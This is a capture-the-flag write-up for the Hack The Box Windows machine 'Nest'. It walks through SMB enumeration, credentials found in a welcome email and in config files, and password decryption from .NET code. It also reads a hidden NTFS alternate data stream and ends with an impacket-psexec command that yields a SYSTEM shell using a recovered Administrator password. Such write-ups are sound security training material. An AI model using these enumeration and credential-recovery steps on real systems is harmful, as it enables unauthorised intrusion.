Nest Writeup
26 February 2023 #CTF #HTB #box #easy #windowsEnumeration
One nmap
a day keeps the vulnerabilities away:
$ sudo nmap -n -Pn -p- -oN -T4 enum/fulltcp.nmap 10.10.10.178
[...]
PORT STATE SERVICE REASON
445/tcp open microsoft-ds syn-ack ttl 127
4386/tcp open unknown syn-ack ttl 127
[...]
$ sudo nmap -n -Pn -sCV -p 445,4386 -oN enum/scripts-tcp.nmap -T4 10.10.10.178
[...]
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
[...]
Host script results:
| smb2-time:
| date: 2023-02-26T17:23:48
|_ start_date: 2023-02-26T17:01:31
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
[...]
SMB
Let's start by listing the shares:
$ smbclient -NL 10.10.10.178
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
Secure$ Disk
Users Disk
There's 3 non standard shares: Data, Secure$ and Users.
We should mount the shares locally so it is a bit easier to work with:
$ mkdir -p smb/{data,secure,users}
$ sudo mount -t cifs -o username=asdf,password=asdf '//10.10.10.178/Secure$' smb/secure
$ sudo mount -t cifs -o username=asdf,password=asdf //10.10.10.178/Users smb/users
$ sudo mount -t cifs -o username=asdf,password=asdf //10.10.10.178/Data smb/data
Secure$ Share
We can access the Secure$ share anonymously, but we can't do much with it:
$ smbclient -N '//10.10.10.178/Secure$'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> get *
NT_STATUS_OBJECT_NAME_INVALID opening remote file \*
We can't list contents or write files, but we may be able to read files if we know the path.
Users Share
We can access the Users share, but we can't view any folder:
$ smbclient -N //10.10.10.178/Users
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jan 26 00:04:21 2020
.. D 0 Sun Jan 26 00:04:21 2020
Administrator D 0 Fri Aug 9 17:08:23 2019
C.Smith D 0 Sun Jan 26 08:21:44 2020
L.Frost D 0 Thu Aug 8 19:03:01 2019
R.Thompson D 0 Thu Aug 8 19:02:50 2019
TempUser D 0 Thu Aug 8 00:55:56 2019
smb: \> ls TempUser\
NT_STATUS_ACCESS_DENIED listing \TempUser\
smb: \> ls C.Smith\
NT_STATUS_ACCESS_DENIED listing \C.Smith\
Data Share
In Data, we have access to 2 files:
$ find smb/data -type f 2> /dev/null
smb/data/Shared/Maintenance/Maintenance Alerts.txt
smb/data/Shared/Templates/HR/Welcome Email.txt
The welcome email has some creds:
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR
TempUser
Let's unmount and remount the shares with the TempUser account:
$ sudo umount -R smb/{users,data,secure}
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 //10.10.10.178/Users smb/users
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 //10.10.10.178/Data smb/data
$ sudo mount -t cifs -o username=TempUser,password=welcome2019 '//10.10.10.178/Secure$' smb/secure
Now we can view more files:
$ find smb -type f 2> /dev/null
smb/users/TempUser/New Text Document.txt
smb/data/IT/Configs/Adobe/editing.xml
smb/data/IT/Configs/Adobe/Options.txt
smb/data/IT/Configs/Adobe/projects.xml
smb/data/IT/Configs/Adobe/settings.xml
smb/data/IT/Configs/Atlas/Temp.XML
smb/data/IT/Configs/Microsoft/Options.xml
smb/data/IT/Configs/NotepadPlusPlus/config.xml
smb/data/IT/Configs/NotepadPlusPlus/shortcuts.xml
smb/data/IT/Configs/RU Scanner/RU_config.xml
smb/data/Shared/Maintenance/Maintenance Alerts.txt
smb/data/Shared/Templates/HR/Welcome Email.txt
In smb/data/IT/Configs/RU Scanner/RU_config.xml
, there is what looks like an encrypted password for the c.smith user:
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
We don't know what to do with it yet, but definitely interesting.
In smb/data/IT/Configs/NotepadPlusPlus/config.xml
there's a history of previously opened files:
[...]
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts"/>
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt"/>
<File filename="C:\Users\C.Smith\Desktop\todo.txt"/>
</History>
[...]
We see a file in the Secure$ share, inside the IT/Carl folder. Let's check if we can access this directory:
$ ls smb/secure/IT/Carl
Docs Reports 'VB Projects'
VB Project
There's only 1 VB Project:
$ ls 'smb/secure/IT/Carl/VB Projects/WIP/RU'
RUScanner RUScanner.sln
In Utils.vb there's a Decrypt
function:
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
This might be what we need to decrypt the password we found earlier.
We'll copy the RUScanner directory and the sln file to a Windows VM in order to run it in Visual Studio.
After launching the project in Visual Studio, we can comment out the first 2 lines of the main function (in Module1.vb) and use the DecryptString
function to decrypt the password we found in the config file:
Debug.WriteLine()
will print the password on the 'Output' console:
C.Smith
With c.smith's password we can (once again) re-mount the shares to see if we have access to other files:
$ find smb/ -type f 2> /dev/null
smb/users/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe
smb/users/C.Smith/HQK Reporting/Debug Mode Password.txt
smb/users/C.Smith/HQK Reporting/HQK_Config_Backup.xml
smb/users/C.Smith/user.txt
[...]
Debug Mode Password.txt
has a size of 0 bytes, but if we look at it in smbclient
and use the allinfo
command, we see it has an alternate data stream:
smb: \C.smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: Fri Aug 9 01:06:12 AM 2019 CEST
access_time: Fri Aug 9 01:06:12 AM 2019 CEST
write_time: Fri Aug 9 01:08:17 AM 2019 CEST
change_time: Wed Jul 21 08:47:12 PM 2021 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
The stream is called Password, let's download it:
smb: \C.smith\HQK Reporting\> get "Debug Mode Password.txt":Password
[...]
$ cat 'Debug Mode Password.txt:Password'
WBQ201953D8w
Custom Service (port 4386)
Let's see what this custom service is about:
$ nc -C 10.10.10.178 4386
HQK Reporting Service V1.2
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
Note that we have to use the -C
flag to make nc
send a \r\n
instead of a \n
when we press Enter (Windows likes it that way).
We can list files in the current directory with the list
command and we can change directories with the setdir
command.
After entering debug mode we have some more commands:
>debug WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional commands that are now available
>help
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
The showquery
command enables us to read files. After browsing through the filesystem, we come accros an interesting file in ../LDAP
:
>list
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[1] HqkLdap.exe
[2] Ldap.conf
Current Directory: LDAP
>showquery 2
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
The Administrator's password is encrypted in a similar fashion as we saw in the 'RUScanner' config file.
HqkLdap.exe
To understand how the password is being used by this HqkLdap.exe
executable, we'll transfer it to a Windows VM (again) and analyze it with dnSpy:
The main function will take the config file specified as an argument, iterate over the lines and set variables. The most interesting part is when the line starts with 'Password=' it will call this DS
function:
It looks a lot like the DecryptString
function in the Visual Basic project. Since it uses .NET, the APIs are the same so we can modify the DecryptString
function to use the key and salt from the HqkLdap.exe
executable:
Call it with the encrypted administrator password:
And boom we have it in clear text:
Administrator Access
With the administrator's password, we can get a shell with psexec:
$ impacket-psexec 'administrator:XtH4nkS4Pl4y1nGX@10.10.10.178'
[...]
C:\Windows\system32> whoami
nt authority\system
Key Takeaways
- no list permission != no read permission
- NTFS files can have hidden content